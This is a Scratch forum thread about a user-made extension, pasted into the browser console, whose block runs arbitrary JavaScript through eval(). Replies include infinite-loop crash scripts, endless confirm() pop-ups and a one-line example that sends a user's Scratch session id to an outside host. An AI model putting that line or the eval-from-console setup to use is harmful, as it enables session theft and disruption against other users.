Discuss Scratch

Blank1234
Scratcher
500+ posts

My extension

I created an extension. It currently by itself cant do much, but if you're really good at coding you can do a lot with my extension. This is its only command:
run [] :: extension
This block runs whats inside of it in javascript.


To activate the extension, type this into the browser console:
(function(ext) {
ext._shutdown = function() {};
ext._getStatus = function() {
return {status: 2, msg: 'Ready'};
};
ext.runCommand = function(x) {
eval(x);
};
var descriptor = {
blocks: [
['', 'Run %s', 'runCommand', 'alert("Hello World");'],
]
};
ScratchExtensions.register('Ultimate extension', descriptor, ext);
})({});

Last edited by Blank1234 (Sept. 3, 2015 04:07:12)

Jonathan50
Scratcher
1000+ posts

My extension

Sounds nice!
My mod, ScribbleBlox has similar functionality.
With either of these you can actually make an extension while the project is running.
You can actually create a meta-extension with blocks for creating an extension xD.
Rumanti
Scratcher
1000+ posts

My extension

Mwahahaha..
define crash
run [for(var i=0;i+=0;i<10){}] :: extension

when gf clicked
crash :: more blocks
Jonathan50
Scratcher
1000+ posts

My extension

Rumanti wrote:

Mwahahaha..
define crash // run w/o screen refresh
create clone of [myself v]
run [for(;;){}] :: extension
crash

when gf clicked
crash

when I start as a clone
crash
Better.
herohamp
Scratcher
1000+ posts

My extension

Blank1234 wrote:

I created an extension. It currently by itself cant do much, but if you're really good at coding you can do a lot with my extension. This is its only command:
run [] :: extension
This block runs whats inside of it in javascript.


To activate the extension, type this into the browser console:
(function(ext) {
ext._shutdown = function() {};
ext._getStatus = function() {
return {status: 2, msg: 'Ready'};
};
ext.runCommand = function(x) {
eval(x);
};
var descriptor = {
blocks: [
['', 'Run %s', 'runCommand', 'alert("Hello World");'],
]
};
ScratchExtensions.register('Ultimate extension', descriptor, ext);
})({});

How did he make his signature's weird block
Mrcomputer1
Scratcher
500+ posts

My extension

herohamp wrote:

Blank1234 wrote:

I created an extension. It currently by itself cant do much, but if you're really good at coding you can do a lot with my extension. This is its only command:
run [] :: extension
This block runs whats inside of it in javascript.


To activate the extension, type this into the browser console:
(function(ext) {
ext._shutdown = function() {};
ext._getStatus = function() {
return {status: 2, msg: 'Ready'};
};
ext.runCommand = function(x) {
eval(x);
};
var descriptor = {
blocks: [
['', 'Run %s', 'runCommand', 'alert("Hello World");'],
]
};
ScratchExtensions.register('Ultimate extension', descriptor, ext);
})({});

How did he make his signature's weird block
{{... ::ring grey} ::ring grey}
{{... ::ring grey} ::ring grey}
Blank1234
Scratcher
500+ posts

My extension

bump
ChocolatePi
Scratcher
1000+ posts

My extension

Looks awfully dangerous!
liam48D
Scratcher
1000+ posts

My extension

ChocolatePi wrote:

Looks awfully dangerous!
What if I tell somebody to run this code:
$.get("mysi.te/stats.php?id=" + [get scratchsessionid here]);
ChocolatePi
Scratcher
1000+ posts

My extension

liam48D wrote:

ChocolatePi wrote:

Looks awfully dangerous!
What if I tell somebody to run this code:
$.get("mysi.te/stats.php?id=" + [get scratchsessionid here]);
Why are you using jquery? Does the scratch editor have jquery? Why not use xhr?
liam48D
Scratcher
1000+ posts

My extension

ChocolatePi wrote:

liam48D wrote:

ChocolatePi wrote:

Looks awfully dangerous!
What if I tell somebody to run this code:
$.get("mysi.te/stats.php?id=" + [get scratchsessionid here]);
Why are you using jquery? Does the scratch editor have jquery? Why not use xhr?
Because I don't feel like writing a big example code. It does have jQuery (FOR NOW DUN DUN DUUUUUN).
ripper2
Scratcher
57 posts

My extension

Blank1234 wrote:

I created an extension. It currently by itself cant do much, but if you're really good at coding you can do a lot with my extension. This is its only command:
run [] :: extension
This block runs whats inside of it in javascript.


To activate the extension, type this into the browser console:
(function(ext) {
ext._shutdown = function() {};
ext._getStatus = function() {
return {status: 2, msg: 'Ready'};
};
ext.runCommand = function(x) {
eval(x);
};
var descriptor = {
blocks: [
['', 'Run %s', 'runCommand', 'alert("Hello World");'],
]
};
ScratchExtensions.register('Ultimate extension', descriptor, ext);
})({});

This block is awesome!! I made it work
Blank1234
Scratcher
500+ posts

My extension

bump
ghadeer221
Scratcher
500+ posts

My extension

How to add this extension to my projects??
ripper2
Scratcher
57 posts

My extension

ghadeer221 wrote:

How to add this extension to my projects??

paste it into the console
BradyandRiley
Scratcher
8 posts

My extension

Blank1234 wrote:

I created an extension. It currently by itself cant do much, but if you're really good at coding you can do a lot with my extension. This is its only command:
run [] :: extension
This block runs whats inside of it in javascript.


To activate the extension, type this into the browser console:
(function(ext) {
ext._shutdown = function() {};
ext._getStatus = function() {
return {status: 2, msg: 'Ready'};
};
ext.runCommand = function(x) {
eval(x);
};
var descriptor = {
blocks: [
['', 'Run %s', 'runCommand', 'alert("Hello World");'],
]
};
ScratchExtensions.register('Ultimate extension', descriptor, ext);
})({});

If you would like, I can host this code on my website (ultrastudios.info) so that it would be easier to download, as most average computer users don't know how to access the console.
Blank1234
Scratcher
500+ posts

My extension

BradyandRiley wrote:

Blank1234 wrote:

I created an extension. It currently by itself cant do much, but if you're really good at coding you can do a lot with my extension. This is its only command:
run [] :: extension
This block runs whats inside of it in javascript.


To activate the extension, type this into the browser console:
(function(ext) {
ext._shutdown = function() {};
ext._getStatus = function() {
return {status: 2, msg: 'Ready'};
};
ext.runCommand = function(x) {
eval(x);
};
var descriptor = {
blocks: [
['', 'Run %s', 'runCommand', 'alert("Hello World");'],
]
};
ScratchExtensions.register('Ultimate extension', descriptor, ext);
})({});

If you would like, I can host this code on my website (ultrastudios.info) so that it would be easier to download, as most average computer users don't know how to access the console.
That would be nice.
ripper2
Scratcher
57 posts

My extension

try this:
when green flag clicked
run [while (1) confirm("Ha") ] :: extension
NoMod-Programming
Scratcher
1000+ posts

My extension

BUMP
danzinho
Scratcher
84 posts

My extension

i made the block this
run [alert("hello")] :: extension

Powered by DjangoBB